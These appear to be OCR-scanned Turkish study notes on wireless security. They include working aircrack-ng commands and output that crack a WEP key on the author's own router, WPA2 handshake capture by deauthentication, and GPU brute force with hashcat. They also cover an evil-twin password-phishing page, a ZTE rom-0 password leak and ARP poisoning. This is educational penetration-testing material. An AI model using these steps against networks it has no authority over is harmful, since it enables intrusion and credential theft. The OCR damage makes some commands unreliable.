Boylece kirilan sifre ¢iktiya yansiyacaktir.

NOT: Asagidaki kaynak yukarida gecen adimlar teyit etmektedir:
http://www.aircrack-ng.org/doku.php?id=simple_wep_crack
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29)
WEP Parola Kirma

[ Not: Ubuntu 18.04 LTS’de birebir denenmistir ve basariyla evdeki wep protokollii router parolasi
kirilmstir. ]

Gereksinimler
Ubuntu 18.04 LTS Ana Makine
USB Wifi Dongle’1
Aircrack-ng
Yapilanlar
Evdeki Netmaster Uydunet modemin yOnetim paneline
http://192.168.0.1
ile girilmistir ve router kablosuz ag giivenligi
Kablosuz -> Giivenlik -> Giivenlik Tiiri -> WEP (64-bit)
secilerek WPA2-PSK’den WEP’e downgrade edilmistir. WEP i¢in genis uzunlukta parola
verildiginde ancak 5 karakterli bir ascii degeri veya 10 karakterli bir hexadecimal degeri
parola olarak belirlenebilir denmektedir. Bu WEP protokoliiniin bir kisitidir. Bu nedenle 5

karakterli bir ascii degerde router’a parola belirlenmistir: “hasan”.

Not: WEP protokollii router’a bilgisayardan parola ile baglanirken parola kutucuguna ascii
degerdeki parola girilebilecegi gibi karsilig1 olan 10 haneli hexadecimal deger de girilerek



baglanti saglanabilir ( bkz. https://www.youtube.com/watch?v=cQfulbBjQr0 ).

WEP Parola Kirma Adimlar
a) Wireless Ethernet Adaptoriinii Monitor Moda Gegirme

WEP parolalarini kirma islemi hedef AP'ye baglh istemcinin olup olmamasina, hangi
paketlerin toplandigina ve kirma algoritmasinin yapisina gore degisiklik gostermektedir.
WEP protokolii ile korunan bir router'in sifresini kirmak icin ilk olarak usb wifi cihazim
monitér moda gecirmemiz gerekmektedir. Bunun icin usb wifi cihazini bilgisayara takalim
ve Ubuntu masatistiiniin sag iist kdsesinde yer alan internet simgesine tiklayip usb wifi bir
aga baglanmigsa disconnect edelim. Ardindan USB wifi'in interface adini 6grenmek icin

asagidaki kodu girelim:
> ifconfig
Output:
ethO Link encap:Ethernet HWaddr 20:cf:30:64:a9:d5

inet addr:192.168.2.201 Bcast:192.168.2.255 Mask:255.255.255.0

lo Link encap:Local Loopback

inet addr:127.0.0.1 Mask:255.0.0.0
wlan0 Link encap:Ethernet HWaddr 48:5d:60:38:0a:ff

inet addr:192.168.2.70 Bcast:192.168.2.255 Mask:255.255.255.0
wlan?2 Link encap:Ethernet HWaddr ec:08:6b:17:c4:24

UP BROADCAST MULTICAST MTU:1500 Metric:1

USB Wifi cihazi takili degilken wlan2 interface'i olmadigindan ve USB wifi cihazi takili
oldugunda wlan2 interface'i oldugundan Usb Wifi cihazinin interface'inin wlan2 oldugunu
anlariz. Simdi bu interface adim kullanarak asagidaki kodlari terminale girelim.

> airmon-ng stop wlan2 // USB Dongle'imizin monitor modu eger aciksa disable edilir.
> ifconfig wlan2 down // USB Dongle'imizin ¢alismasi sonlandirilir.
> airmon-ng start wlan2 1~ // USB Dongle'imiz monitor modda ve channel 1'de baslatilir.

NOT: Airmon-ng'nin aldigi 1 numarasi usb wifi'in dinleyecegi channel'l ifade eder. Channel
1'in se¢ilmesinin nedeni sonraki asamalarda, secilen modem'in channel 1'ten ¢alistigi
hatasini vermesinden dolayidir. Bir baska router secildiginde eger baska bir channel hata
olarak veriliyorsa o zaman bu asamaya doniiliip channel'in istenilen degerde girilmesi
gerekmektedir.

Son kod girildikten sonra eger islem basarili olduysa asagidaki output ekrana gelir:



Output:
Found 1 processes that could cause trouble.

If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them.

PID Name

7301 dhclient

Interface Chipset Driver

wlan?2 Atheros AR9271 ath9k — [phy0]

(monitor mode enabled on wlanOmon)

Dikkat edilirse wlan2 interface'i ayr1 bir interface ile monitor moda alinmistir. Yani monitor
modda olan interface su an wlan2'nin kardesi olan mon0 'dur. Dolayisiyla sonraki kodlarda
monitor modda olan mon0 interface'i kullanilacaktir. Simdi etraftaki router'lar: tespit etmek

icin airodump-ng'yi kullanalim:

b) Cevredeki Trafigi Yakalama

Asagidaki komut ile cevredeki router’lar ve router’lara bagh istasyonlar listelenir.

> airodump-ng wlanOmon

CH 2 ][ Elapsed: 6 s ][ 2022-06-02 19:53
BSSID PWR Beacons #Data,#/s CH MB ENC CIPHER AUTH ESSID

54e. WPA2 CCMP PSK SUYURMAN MESH

C0:06:C3:C2:D5:32 -89 3
54e WPA2 CCMP PSK  TurkTelekom_Z9JWF

54:83:3A:41:17:BD -87 4

24:00:BA:B8:89:56 -1 0 -1 <length: 0>
1C:3B:F3:7C:13:97 -46 21 54e  WPA2 CCMP PSK  TP-Link 1397
18:48:59:1B:3A:E3 -56 12 54e WEP WEP NetMASTER Uydunet-AF1C

54e WPA2 CCMP PSK Kelaynak

S54e WPA2 CCMP PSK  TurkTelekom_TF9DC

54e  WPA2 CCMP PSK SUPERONLINE_WiFi_4265

54e  WPA2 CCMP PSK TURKSAT-KABLONET-1497-2.4G
54e  WPA2 CCMP PSK NetMASTER Uydunet-28A8

54e  WPA2 CCMP PSK SUPERONLINE_WiFi_3597

54e  WPA2 CCMP PSK NetMASTER Uydunet-50C6

54e  WPA2 CCMP PSK SUPERONLINE_WiFi_1550

54e. WPA2 CCMP PSK  OKTwifi

54e WPA2 CCMP PSK TAHTALI

54e  WPA2 CCMP PSK SUPERONLINE_WiFi_1131

54e  WPA2 CCMP PSK Metehan

1 54e WPA2 CCMP PSK TURKSAT-KABLONET-7553-2.4G
11 54e  WPA2 CCMP PSK TURKSAT-KABLONET-757D-2.4G
11 54e. WPA2 CCMP PSK SUPERONLINE_WiFi_5335

4 54e WPA2 CCMP PSK TURKSAT-KABLONET-B2EA-2.4G
4 54e WPA2 CCMP PSK  TurkTelekom_TES5F1

5C:63:BF:A7:C7:61 -59 14
5C:63:BF:2B:CD:65 -74 14
C4:86:E9:A1:A7:48 -73 11
18:48:59:1E:B8:7F -77 4
18:48:59:04:73:85 -85 7
60:83:34:C1:D3:2B -83 5
00:1C:7B:F3:FF:B8 -80 13
C4:07:2F:43:B4:86 -83 2
A8:02:DB:36:AA:34 -85 6
E4:FB:5D:60:28:EB -83 4
E0:A3:AC:F3:D8:0C -86 5
F4:8E:92:1F:D8:0C -86 5
18:48:59:09:DB:CB -85 4
18:48:59:26:8C:51 -88 5
14:09:B4:D7:79:80 -86 4
18:48:59:23:96:18 -86 4
5C:63:BF:56:5F:FA -88

=
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40:3F:8C:B9:39:D2 -88 4 6 54e WPA2 CCMP PSK  TurkTelekom_TP39D2_2.4GHz
C6:06:C3:C2:D5:32 -88 2 11 54e. WPA2 CCMP PSK <length: 0>
50:FF:20:2A:F8:00 -89 0 9 54e WPA2 CCMP PSK AEK-WIFI-M
18:48:59:2C:1F:6A -88 2 1 54e  WPA2 CCMP PSK TURKSAT-KABLONET-11S0-2.4G
52:FF:20:4A:F8:00 -90 3 9 54e  WPA2 CCMP PSK <length: 0>
38:22:9D:27:5F:FC -89 5 1354 WPA2 CCMP PSK sdfgadfggas
A4:2B:B0:AC:AB:CO -88 2 1 54e WPA2 CCMP PSK TP-LINK_WiFi_1218_EXT
(C8:54:4B:6C:D5:A1 -90 1 10 54e  WPA2 CCMP PSK iremkerema
64:6D:6C:64:7B:4F -89 6 7 54¢e WPA2 CCMP PSK SUPERONLINE_WiFi_2488
98:0D:67:4D:6C:CF -92 4 7 54e  WPA2 CCMP PSK TurkTelekom_ZVRCP

BSSID STATION PWR Rate Lost Frames Probe
24:00:BA:B8:89:56 8C:83:E1:B8:63:20 -92 0-1e 886 6

18:48:59:04:73:85 0A:23:A1:C0:28:C3 -1 le-0 0 1



A8:02:DB:36:AA:34 E0:AC:CB:AB:56:AC -1 le-0 0 12
40:3F:8C:B9:39:D2 36:0E:15:1E:20:66 -1 le-0 0 1

Ardindan belirli bir router’in ¢evredeki trafigi yakalanir. Biz burada WEP protokoliinii
kullanan kendi modemimizi seciyoruz ve ¢evredeki trafigini yakala diyoruz.

> airodump-ng --bssid 18:48:59:1B:3A:E3 -c¢ 1 -w WEPcrack wlanOmon

Gikt:

[ CH 1 ][ Elapsed: 12 mins ][ 2022-06-02 20:29

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
18:48:59:1B:3A:E3 -48 50 983 1108 0 1 54e WEP WEP NetMASTER Uydunet-AF1C
BSSID STATION PWR Rate Lost Frames Probe

18:48:59:1B:3A:E3 3C:6A:A7:7B:D5:36 -24 54e-1le 2 1094
18:48:59:1B:3A:E3 1E:5F:A0:D7:CB:E4 -26 1le-1 0 351

-c parametresi hedef router'in calistigi channel' ifade eder.
--bssid ile hedef router'n MAC'i belirtilir.
-w ile trafigin kaydedilecegi dosya ismi belirtilir.

Not: -c parametresine bir 6nceki komutun siraladigi router’lar listesinde router’1mizin
calistigl sdylenen channel degeri konulur.

Bu sekilde “uzun bir siire” trafigin kayit altina alinmasi gerekir. Bir siire sonra bu adim bir
yandan ¢alismaya devam ederken diger bir terminal ekranindan yakalanan trafigin
kaydedildigi dosya iizerinden parola kirma saldirisi, yani bir sonraki asama uygulanir.

c) WEP Parolasini1 Kirma
Parola toplanan trafik iizerinden kirma islemi ile elde edilir.
> aircrack-ng WEPcrack-01.cap
Gikt:

Aircrack-ng 1.2 rc4
[00:00:01] Tested 540769 keys (got 356 IVs)

KB depth byte(vote)

0 42/73 FE(768)06(512) 07( 512) 09( 512) OF( 512) 10( 512) 16( 512) 19( 512) 1A( 512) 1C( 512) 1F( 512) 20( 512) 21( 512)
26( 512) 27( 512) 2A(512)

1 13/ 1 FB(1024) 04( 768) 0D( 768) 15( 768) 26( 768) 35( 768) 3C( 768) 40( 768) 42( 768) 44( 768) 49( 768) 50( 768) 52( 768)
59( 768) 5B( 768) 5C( 768)

2 7/18 C2(1280) 11(1024) 13(1024) 1F(1024) 2F(1024) 66(1024) 99(1024) B2(1024) C0(1024) D7(1024) FD(1024) 03( 768)
OE( 768) 21( 768) 29( 768) 2B( 768)

3 10/ 3 FC(1024) 00( 768) OE( 768) 13( 768) 14( 768) 18( 768) 1B( 768) 35( 768) 40( 768) 43( 768) 49( 768) 4E( 768) 56( 768)
5C( 768) 6C( 768) 72( 768)

4 5/17 FB(1280) 2C(1024) 3A(1024) 51(1024) 62(1024) 70(1024) 7A(1024) 8C(1024) B5(1024) BE(1024) DF(1024) E9(1024)
05( 768) 07( 768) 0C( 768) 0D( 768)

KEY FOUND! [ 68:61:73:61:6E ] (ASCII: hasan )

Decrypted correctly: 100%

Uyar1:



Eger bu asamada parola kirilmazsa ve failed verirse bir 6nceki komutun mevcut trafik
dosyasina yeni trafik eklemesinin siirmesi beklenir. Bir siire trafik eklendikten sonra ilgili
trafik dosyalama komutunun calismasina dokunmadan (yani komutu sonlandirma
yapmadan) tekrardan aircrack-ng ile parola kirma denenir. Basariya ulasana kadar beklenir,
trafik paketleri dosyalamas: siirdiiriiliir ve tekrardan kirma denenir. En nihayetinde trafik
yeterince toplandiginda kirma iglemi basarili olacaktir.

Kaynak:

https://null-byte.wonderhowto.com/how-to/hack-wi-fi-cracking-wep-passwords-with-aircrack-ng-
0147340/
https://www.hackingloops.com/crack-wep-wifi-using-kali-linux/

30)

WPA/WPAZ2 parola kirma ¢alismalarinda en énemli husus heniiz WPA ve WPA?2 icin bilinen bir
zafiyetin ortaya cikmadigidir. Kullanilan araglar brute force ve dictionary attack ile kelimeleri
sirasiyla denemekten ibarettir. Brute force saldirilarinda GPU destekli sistemler ve parola kirma
yazilimlar1 6nem kazanmaktadir. CPU ile bir WPA/WPAZ2 parolasim kirmak yillar: alabilir.
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GPU Destekli Parola Kirma Islemi

Diyelim ki WPA2 protokoliinii kullanan bir router'in sifresini hashcat'in GPU versiyonu ile
kiracagiz. Bu islem igin 6ncelikle bir WPA2 sifre kirma islemi gerceklestirilmelidir. Boylece elde
edilen trafik dosyasini hashcat'e verebilir duruma geliriz ve hashcat'in sifreyi kirmasini umabiliriz.
Belirli router'in trafigini dosyalamak icin Tez Raporu/internetten Edinilmis Kiymetli Bilgiler/Elden
Gegirdigim Notlar/Aircrack-ng ile WPA?2 Sifresi Kirma.docx dosyasindaki WPA sifresini kirmayla
alakali anlatimin 6zeti niteliginde olan asagidaki adimlar takip edilebilir.

# Once usb wifi'y1 monitér moda gegirelim. Bunun i¢in Ubuntu masaiistiiniin
# sag list kosesindeki internet baglantisina tikla ve USB Wifi'1
# disconnect et. Ardindan sunlar1 terminale gir.

Terminal 1:

> airmon-ng stop wlan2

> ifconfig wlan2 down

> airmon-ng start wlan2 4
> airodump-ng wlan2

# Yukanidaki kodla ekrana gelen router'lardan birini se¢ ve mac adresini
# kopyala. Ardindan yeni bir terminal a¢ ve kopyaladigin mac'i asagidaki

# koda koyup hedef router'in paketlerini dosyalamaya basla.

Terminal 2:



> airodump-ng -c 4 --bssid Hedef_Router MAC_Adresi -w psk wlan2

# Yukaridaki kod dosyalamaya devam etsin. Yakaldig1 hedef router'a

# bagl station'lardan (client'lardan) birinin mac'ini kopyalayalim ve

# deauthenticate etmek icin asagidaki koda koyup kodu yeni bir terminalde
# calistiralim.

Terminal 3:

> aireplay-ng -0 10 -a Router_ MAC_Adresi -c Client. MAC_Adresi wlan2

# Boylelikle 6nceki terminal penceresinde calisan airodump-ng komutu deauthenticate

# olan istemci tekrar baglanacag1 zamanki handshake paketlerini yakalayip dosyalayacaktir.
# Yani artik router'in sifresi airodump-ng 'nin kaydim tuttugu dosyaya girecektir.

# Bundan sonraki asama elde edilen dosyay1 GPU ile kirmak i¢in hashcat'in taniyabilecegi
# formata doniistiirmek olacaktir. Bunun igin aircrack'in -J parametresi kullanilabilir.

Terminal 4:

> aircrack-ng -J packets pks-01.cap

Terminal 4'teki kod ile daha énce elde edilen cap dosyasi packets.hccap seklinde bir bagka formata
doniistiiriiliir. Boylece dosya hashcat'in taniyabilecegi hale doniistiiriilmiis olur. Artik bu yeni
dosyay1 hashcat'e verebiliriz ve hashcat'in GPU'yu kullanarak bu dosyadaki handshake paketlerinde
yer alan sifreyi kirmasini umabiliriz.

GPU ile sifre kirma islemi AMD Radeon HD 7970 ekran kartina sahip Windows 8 isletim sistemi
ve oclHashcat64 tool'u ile yapilacaktir.
Terminal 5:

> oclHashcat64.exe -n 800 --gpu-loops 256 --status --force -m 2500 -a3
C:\packets.hccap -o packets.txt

-n ve --gpu-loops parametrelerinin degerleri GPU modeline gore degisiklik gosterir.
-m parametresi WPA/WPA?2 parolalarim1 kirmak istedigimiz icin 2500 olarak ayarlanur.
-a3 parametresi brute force saldirisi diizenle anlamina gelir.

-o parametresi sifre kirilldiginda sifrenin yazilacagi dosyanin ismini deger olarak alir.

Hashcat yukaridaki komut sonrasi brute force saldirisim baglatacaktir.

Output:
Session Name......: oclHashcat



Input Mode..........: Mask {?1?2?2?272} [8]
Hash Target.........: Airties_5471
Hash Type............ : WPA/WPA2

Ciktidan da goriilebilecegi tizere hashcat brute foce saldirisin1 tamamlayabilmek icin yaklasik 2
yullik bir stire bildiriminde bulunmaktadir. Béylesi durumlarda Hashcat'in brute force saldirilarini
daha verimli kilan mask attack type'r kullanilabilir.
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WPS (Wireless Protected Setup)

Normalde bir router'a baglanmak i¢in o router'in SSID'sini ve sifresini bilmemiz gerekir. WPS ise
bu zorunlulugu ortadan kaldiran alternatif router'a baglanma yoludur. Router {izerindeki WPS'e
basildig takdirde ve istemcinin de WPS diigmesine tiklanildig: takdirde istemci router'a
otomatikmen baglanir. WPS tecriibesiz kullanicilarin cihazlarini router'a kablosuz olarak kolayca
baglayabilmeleri i¢in var edilmis bir 6zelliktir.

NOT: Satin aldigim TP-Link USB Wifi dongle'in da kiigiiciik bir WPS diigmesi oldugunu
ogrendim. Dolayisiyla USB Wifi gibi ya da menzil genisletici Acess Point'ler gibi cihazlar da
router'a karsilikli WPS butonlarinin basilmas: sonucu kolaylikla baglanabilmektedirler.

WPS ile router'a baglanma isleminde giivenligi bir kademe arttiran PIN numarasi faktorii de
mevcuttur. Genellikle router'larin altina yapistirilan bu PIN numarasi istemci tarafindan girildigi

takdirde router'a baglant: kurma islemine izin verilebilir.

NOT: Bazi modem iireticileri 5 PIN denemesi sonras1t WPS'i kitler ve WPS'le baglanti kurulmasina
boylece artik engel olur. Bu durumun diizelmesi igin router'in kapatilip agilmasi gerekir.

Kaynak: http://www.computerhope.com/jargon/w/wps.htm
https://www.youtube.com/watch?v=E95EpT6foUE
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ARP Poisoning ile Man In The Middle Attack
ARP Poisoning ile MITM saldirilarinda saldirgan kurbana router'in IP'sine karsilik kendi MAC
adresinin oldugu bir ARP paketi gonderir. Boylece kurbanin kendisini router olarak gérmesini



saglamis olur. Diger yandan saldirgan router'a ise kurbanin IP'sine karsilik kendi MAC adresininin
oldugu ARP paketini gonderir. Boylece router'in kendisini kurban olarak gérmesini saglamis olur.
Bu iki islem sonrasi artik kurbandan ¢ikan istekler 6nce saldirgana sonra router'a gidecektir ve
router'dan gelecek yanitlar da énce saldirgana sonra kurbana gidecektir.

( ] Orjinal (f ]
- =
E - | - r

Saﬁll_cu

Man-in-the-middle
Baglantisi

e ™y
T o——=

Saldirgan
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DNS Tiinelleme

Bir protokoliin icerisinden bagka bir protokole ait veri tasima islemine protokol tiinelleme denir.
Spesifik olarak DNS protokolii (paketleri) icerisinden http, ftp, ssh gibi herhangi bir tcp/udp paket
verisini tagima iglemine ise DNS tiinelleme ad1 verilir.

(page 57)
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49. sayfadan 62. sayfaya kadar sahte Access Point olusturma ve kurbanin gercek AP'ye degil de
sahtesine baglanmasini bekleme konusunda adim adim bir anlatima yer verilmistir. Bir¢cok tool'un
beraberce kullanimindan bahsedilmistir. Fakat tiim bu kesmekes tam olarak oturmadigindan buraya
not alinmamistir Lakin orada anlatilanlar ile yapilmak istenen sey su sekilde 6zetlenebilir. Kurban
diyelim ki cep telefonuyla sahte Access Point'e bagland.

Lo O W4 35% 20:20
(X8} Kablosuz EiE

Starbacks

Baglandh

ildi, givenligi WPAZ2 ile

el

AIRTIES_RT-206



Baglant1 kurulduktan sonra diyelim ki kurban instagram.com sitesine cep telefonuyla gitmek istedi.
Bu talebi alan sahte access point kullaniciy1 TPLink Router yazan saldirgan tarafindan hazirlanmis
bir sayfaya yonlendirecektir. Bu sayfa kurbandan asagidaki resimde oldugu gibi surf'e devam etmek
icin kablosuz agin parolasini metin kutusuna girmesini isteyecektir.

u O W4 35% 20:21

instagram.com 7

TPLINK Router

Devam etmek igin liften kablosuz ag parolanizi giriniz

Girig

TPLINK

Kurban metin kutusuna router'in sifresini girip butona tikladig1 takdirde basit bir PHP kodlamasi ile
sifre saldirganin makinasinda bir txt dosyasina kaydolacaktir ve kurban gitmek istedigi sayfaya
yonlendirilecektir. Boylece saldirgan sipdanadak asil router'in parolasini 6grenmis olacaktir.



[ O V4 34% 20:22

instagram.com

~J
&

TPLINK Router

Devam etmek icin luften kablosuz ag parolanizi gir

ZorparolaM123 Giris

TP-LINK

36)

Access Point'ler Uzerinde Cikan Zafiyetler

Access point'lerin tizerinde calisan firmware yazilimlar1 diger bircok ag cihazi gibi giivenlik zafiyeti
barindirabilirler. Ornegin bellek tasmas tiiriindeki zafiyetler gibi. Béylesi bir zafiyet cihaz iizerinde
root izninde kod calistirmaya sebep olacak kritiklikte olabilir. Dolayisiyla bu tip bir zafiyet ile
saldirgan cihazin, dolayisiyla tiim yerel agin kontroliinii ele gecirebilir.

Airties ve Zafiyeti

Access Point zafiyetlerine giincel hayattan érnek olarak son zamanlarda ortaya ¢ikan Airties
modemler verilebilir. Ilgili zafiyete gére Air6372SO modemlerinin parolasinin firmware tizerinden
kolaylikla 6grenilebilecegi ve uzaktan bu modemlere telnet 2323 portu ile erisilebilecegi
goriilmiistiir. Ayni acikliga modemin baska modellerinde de rastlanmistir.

ZTE, TP-Link, ZynOS, Huawei ve Zafiyetleri
Tirkiye'de siklikla rastlanan modemlerden ZTE VX10 W300 'deki bir aciklik {izerinden modem
parolasinin elde edilebilecegi goriilmiistiir. Agikliga gore

http://192.168.1.1/rom-0

linki herhangi bir kimlik dogrulamayla karsilagmadan indirilebilmektedir.



192.168.2.1/rom-0 @ e

LB8.0.0 rom-0 agiliyor |

Sunu agmay sectiniz:

" rom-0
tiirii: Belge (16,0 KB)
nereden: http://192.168.2.1

Firefox bu dosya ile ne yapsin?

@Birlikte ag | TextEdit (varsayilan)
(_)Sabit diske kaydet

Bu tir dosyalar indirilirken hep bu islemi gerceklestir.

| Vazgeg | [ Tamam ]

Bu dosya indirilerek modem yapilandirmasi hakkinda fikir sahibi olunabilmektedir. Ancak router
parolasini elde edebilmek icin basit bir phyton script'i yardimiyla rom-0 dosyasini okumamiz
gerekmektedir. Bahsedilen script ile rom-0 okundugunda router sifresi output olarak ekrana
yanslyacaktir:

[+] ZTE, TP-Link, ZynOS, Huawei rom-0 Configuration Decompressor
[+] Author: Osanda Malith Jayathissa
[+] Special thanks to Nick Knight

[*] Opening rom-0 file
[+] Dump :

122 2 2 ttnetZTE6Opublicpublicpublic €PPP €©P €P €5

[~] Router Password is : ttnet
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Kablosuz Aglara Yonelik Penetrasyon Testi
Kablosuz agara yonelik yapilacak penetrasyon testlerinde iizerinde durulacak baslhklar sunlardir:

# Kontrol Listesi Durum

1 Hedefe zit gizli veya agik kablosuz aglann tespitifsniffing)

2 Hedefin 55810°si ku ruma ait bilgi ifsasina sebep oluyor mu?

3 Kablosuz aglara ait dzelliklerin tespiti(CPEN/WEP W PAWPAZ WPSB02.1x vb.)

3a WEP/WPASWPAZ kullanilyorsa handshake elde edilm esi

3b Parola kirmzk igin genel ve hedefe Gzel sazlik olustu rulmas)

3c Handshake icin GPU destekli parola kirma calismas)

3d B02.1x% kullamilyorsa domain kullanic bilgileri giris igin yeterli mi? Sertifika ve
benzeri ekstra gdvenlik onlemleri var mi?

3e WPS varsa, PIN denemeleriyle kablosuz ag anahtarimin ele gecirilmesi

4 internet erisimiigin captive portal uygulamas var mi?

da Captive portalvarise kullan giris vapmadan izole edilmis karantina networkine mi
alinyor?

db Captive portal varise kullani giris yaptiktan sonra farkh aglara(kurum sunucu,
istermnci agi) erisim varmi?

dc Captive portal varise MAC adresi degistirilerek atlatilabilivor mu?

4d Captive portal var ise tinelleme yontem leri ile atlatilabilivor mu'?

5 Kullamicilar arasiizolasyon [userisolation) var mi?

[ Hedef AP /Router'in marka/model tespiti ve bilinen zafivetlerin istisman

7 APR/Router web arayizi/telnet/ssh Gntamimli parola denemeleri

B AP/ Router veya diger network cihazlan igin dntamimli veya tahmin edilebilir SHMP
community string lerin denenmesi

9 MALC filtreleme var mi?

10 Kablosuz aglara yinelik cesitli servis disi birakma
saldinlan{authentication/deauthentication, association/deassociation)

11 Sahte AP yvayini yvapilabilivor mu? [Evil Twin, Sahte B02.1x, Captive portalvb.)

12 Karmetasploit saldinlan

13 Aga dahil olduktan sonra gesitli Mith ataklan (ARP zehirleme, ICMP Redirect, DHCP
snooping vb.}
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BGA'dan Onur ALANBEL'in MiniUPnPd iizerindeki zafiyet i¢in yazdig1 istismar kodu Tiirkiye'de
yaygin olarak kullanilan modemlere root izniyle baglanmayi, tiim trafigi yonlendirmeyi,
yapilandirma dosyalarini indirebilmeyi ve saldirilar yapabilmeyi miimkiin kilmistir. Onur
ALANBEL'in yazdig istismar koduna asagidaki linkten erigebiliriz:

https://www.exploit-db.com/exploits/36839/
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WEP Protokolii Niye Zayif?

WEP protokoliiniin kullamildig1 bir agda istemci protokol geregi arada sirada router sifresini
havadan router'a yollamaktadir. USB Wifi gibi bir cihaz ile saldirgan agdaki tiim paketleri yakalarsa
ve bir yazilimla yakaladig1 paketlerin igerisinde siklikla tekrar eden veri parcasini tespit ederse bu
tekrar eden deger anahtar olacagi icin router'in sifresi elde edilmis olur.

( https://www.youtube.com/watch?v=2aSLyD5MPvs )



